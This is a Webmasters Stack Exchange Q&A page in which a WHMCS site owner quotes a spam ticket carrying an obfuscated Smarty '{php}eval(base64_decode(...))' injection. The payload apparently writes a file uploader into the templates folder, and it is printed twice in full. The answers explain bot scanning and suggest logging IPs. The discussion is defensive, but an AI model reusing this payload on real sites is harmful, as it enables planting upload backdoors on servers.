Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I have WHMCS and I use it with no problem for my hosting purposes.

Almost every 2 or 3 days, I can see a spam with malicious content submitted as a new ticket that tries to hack.

The last one was:

Subject:

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})

Message:

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})

What are these attacks? Why don't they use any other way to attack?!!!

In my opinion it is obvious that a system like WHMCS will never be hacked by such a poor attempts. They should have of course used some functions like strip_tags and mysql_real_escape_string and other security functions.

Would any body explain why do they always select such a poor way to attack? Don't they really know that WHMCS is stronger than these low level hacks?

In fact I'd like to know that: Do these efforts differ from each other? Can they be serious? Should I be scared of these attempts?

share|improve this question

2 Answers 2

up vote 3 down vote accepted

It's a robot scanning the web for WHMCS installs that are vulnerable to this attack, it's just part and parcel of running a website.

share|improve this answer
    
Thank you for your comment. But I have enabled captcha. How can they pass that?! –  smhnaji Feb 27 '12 at 20:05
    
So as you believe there is no worry at all? Right? –  smhnaji Feb 27 '12 at 20:08
1  
Most capcha's have been broken many times over by now, all capcha does is weed out the serious attackers from the non-serious one's so long as you keep catching the mails it should be fine - have you tracked the ip down in your logs?. –  toomanyairmiles Feb 27 '12 at 20:11
    
Thank you for your suggestion. I always Block Sender And Delete that ticket. –  smhnaji Feb 27 '12 at 20:15

In case you're curious, here's the source (or a copy of it) to the attacker's method: http://pastebin.com/yCW9vWzZ This may help also: http://www.wjunction.com/10-hosting-discussion/116021-boxslots-hacked-again-5.htm

As for being worried? If you are sure you follow the orthodox server security protocols, and you actively check for and fix any holes, then you should be fine. I recommend you keep a log of all of the IP addresses sending this code, and then maybe call their ISP (can be determined from http://ip2location.com/their.ip.address.here).

share|improve this answer
    
Thank you very much. +1 –  smhnaji Feb 27 '12 at 20:16

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.